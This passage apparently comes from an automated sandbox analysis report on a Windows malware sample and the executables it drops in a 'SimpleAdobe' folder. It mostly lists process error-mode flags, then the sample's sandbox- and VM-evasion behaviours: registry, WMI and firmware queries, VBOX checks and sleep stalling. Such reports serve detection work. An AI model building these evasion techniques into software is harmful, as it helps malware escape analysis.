Source: C:\Users\user\Documents\SimpleAdobe\nRGT2oA3F8V3EBSM6dmMTrGw.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\nRGT2oA3F8V3EBSM6dmMTrGw.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\nRGT2oA3F8V3EBSM6dmMTrGw.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\nRGT2oA3F8V3EBSM6dmMTrGw.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\nRGT2oA3F8V3EBSM6dmMTrGw.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\nRGT2oA3F8V3EBSM6dmMTrGw.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\nRGT2oA3F8V3EBSM6dmMTrGw.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\nRGT2oA3F8V3EBSM6dmMTrGw.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\nRGT2oA3F8V3EBSM6dmMTrGw.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\nRGT2oA3F8V3EBSM6dmMTrGw.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\nRGT2oA3F8V3EBSM6dmMTrGw.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\nRGT2oA3F8V3EBSM6dmMTrGw.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\nRGT2oA3F8V3EBSM6dmMTrGw.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\nRGT2oA3F8V3EBSM6dmMTrGw.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\nRGT2oA3F8V3EBSM6dmMTrGw.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\nRGT2oA3F8V3EBSM6dmMTrGw.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\nRGT2oA3F8V3EBSM6dmMTrGw.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\nRGT2oA3F8V3EBSM6dmMTrGw.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\nRGT2oA3F8V3EBSM6dmMTrGw.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\nRGT2oA3F8V3EBSM6dmMTrGw.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\nRGT2oA3F8V3EBSM6dmMTrGw.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\nRGT2oA3F8V3EBSM6dmMTrGw.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\nRGT2oA3F8V3EBSM6dmMTrGw.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\nRGT2oA3F8V3EBSM6dmMTrGw.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\nRGT2oA3F8V3EBSM6dmMTrGw.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\nRGT2oA3F8V3EBSM6dmMTrGw.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\nRGT2oA3F8V3EBSM6dmMTrGw.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\nRGT2oA3F8V3EBSM6dmMTrGw.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\T9n2wvLQ1PO2GfTxLTyp21hE.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Documents\SimpleAdobe\45NBK9axc23mjqmbKvmG0NYP.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Documents\SimpleAdobe\45NBK9axc23mjqmbKvmG0NYP.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Documents\SimpleAdobe\45NBK9axc23mjqmbKvmG0NYP.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Documents\SimpleAdobe\45NBK9axc23mjqmbKvmG0NYP.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Documents\SimpleAdobe\45NBK9axc23mjqmbKvmG0NYP.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Documents\SimpleAdobe\45NBK9axc23mjqmbKvmG0NYP.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Documents\SimpleAdobe\tXlQ3NLbQqxBkFS_TfaDHWX4.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Users\user\Documents\SimpleAdobe\tXlQ3NLbQqxBkFS_TfaDHWX4.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX
Source: C:\Users\user\Documents\SimpleAdobe\tXlQ3NLbQqxBkFS_TfaDHWX4.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Documents\SimpleAdobe\tXlQ3NLbQqxBkFS_TfaDHWX4.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX
Source: C:\Users\user\Documents\SimpleAdobe\TUBbflj40zqtNIEKWH_MWjeG.exe	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX
Source: C:\Users\user\Documents\SimpleAdobe\TUBbflj40zqtNIEKWH_MWjeG.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Documents\SimpleAdobe\TUBbflj40zqtNIEKWH_MWjeG.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Documents\SimpleAdobe\TUBbflj40zqtNIEKWH_MWjeG.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Documents\SimpleAdobe\ooon0i8sg2EZy1pci_ppgkth.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Documents\SimpleAdobe\ooon0i8sg2EZy1pci_ppgkth.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\is-7JMLT.tmp\is-P287H.tmp	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\is-7JMLT.tmp\is-P287H.tmp	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\is-7JMLT.tmp\is-P287H.tmp	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\is-7JMLT.tmp\is-P287H.tmp	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\is-7JMLT.tmp\is-P287H.tmp	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\is-7JMLT.tmp\is-P287H.tmp	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\is-7JMLT.tmp\is-P287H.tmp	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\is-7JMLT.tmp\is-P287H.tmp	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\is-7JMLT.tmp\is-P287H.tmp	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\is-7JMLT.tmp\is-P287H.tmp	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\is-7JMLT.tmp\is-P287H.tmp	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\is-7JMLT.tmp\is-P287H.tmp	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\is-7JMLT.tmp\is-P287H.tmp	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\is-7JMLT.tmp\is-P287H.tmp	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\is-7JMLT.tmp\is-P287H.tmp	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\is-7JMLT.tmp\is-P287H.tmp	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\is-7JMLT.tmp\is-P287H.tmp	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\is-7JMLT.tmp\is-P287H.tmp	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\is-7JMLT.tmp\is-P287H.tmp	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\is-7JMLT.tmp\is-P287H.tmp	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX

Malware Analysis System Evasion

Yara detected AntiVM3

Source: Yara match

File source: Process Memory Space: nRGT2oA3F8V3EBSM6dmMTrGw.exe PID: 3108, type: MEMORYSTR

Checks if the current machine is a virtual machine (disk enumeration)

Source: C:\Users\user\Documents\SimpleAdobe\ocI8OvNXSYwHw7Rg5l6_f8IK.exe	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI
Source: C:\Users\user\Documents\SimpleAdobe\ocI8OvNXSYwHw7Rg5l6_f8IK.exe	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI
Source: C:\Users\user\Documents\SimpleAdobe\ocI8OvNXSYwHw7Rg5l6_f8IK.exe	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI
Source: C:\Users\user\Documents\SimpleAdobe\ocI8OvNXSYwHw7Rg5l6_f8IK.exe	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI
Source: C:\Users\user\Documents\SimpleAdobe\ocI8OvNXSYwHw7Rg5l6_f8IK.exe	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI
Source: C:\Users\user\Documents\SimpleAdobe\ocI8OvNXSYwHw7Rg5l6_f8IK.exe	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI

Found API chain indicative of sandbox detection

Source: C:\Users\user\Documents\SimpleAdobe\zFe0EAtgy56yDxXht4nmozfb.exe

Sandbox detection routine: GetCursorPos, DecisionNode, Sleep

graph_7-49423

Found evasive API chain (may stop execution after reading information in the PEB, e.g. number of processors)

Source: C:\Users\user\Documents\SimpleAdobe\zFe0EAtgy56yDxXht4nmozfb.exe

Evasive API call chain: GetPEB, DecisionNodes, Sleep

graph_7-49424

Found stalling execution ending in API Sleep call

Source: C:\Users\user\Documents\SimpleAdobe\zFe0EAtgy56yDxXht4nmozfb.exe

Stalling execution: Execution stalls by calling Sleep

graph_7-49468

Queries sensitive disk information (via WMI, Win32_DiskDrive, often done to detect virtual machines)

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_DiskDrive

Queries sensitive video device information (via WMI, Win32_VideoController, often done to detect virtual machines)

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_VideoController

Query firmware table information (likely to detect VMs)

Source: C:\Users\user\Desktop\qk9TaBBxh8.exe	System information queried: FirmwareTableInformation	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\zFe0EAtgy56yDxXht4nmozfb.exe	System information queried: FirmwareTableInformation	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\70Leo0eE867BJ4vm1aky3Uk3.exe	System information queried: FirmwareTableInformation	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\eQEIduvtZVhzsp4oDFOuc1gy.exe	System information queried: FirmwareTableInformation
Source: C:\Users\user\Documents\SimpleAdobe\ooon0i8sg2EZy1pci_ppgkth.exe	System information queried: FirmwareTableInformation

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Source: C:\Users\user\Desktop\qk9TaBBxh8.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\zFe0EAtgy56yDxXht4nmozfb.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
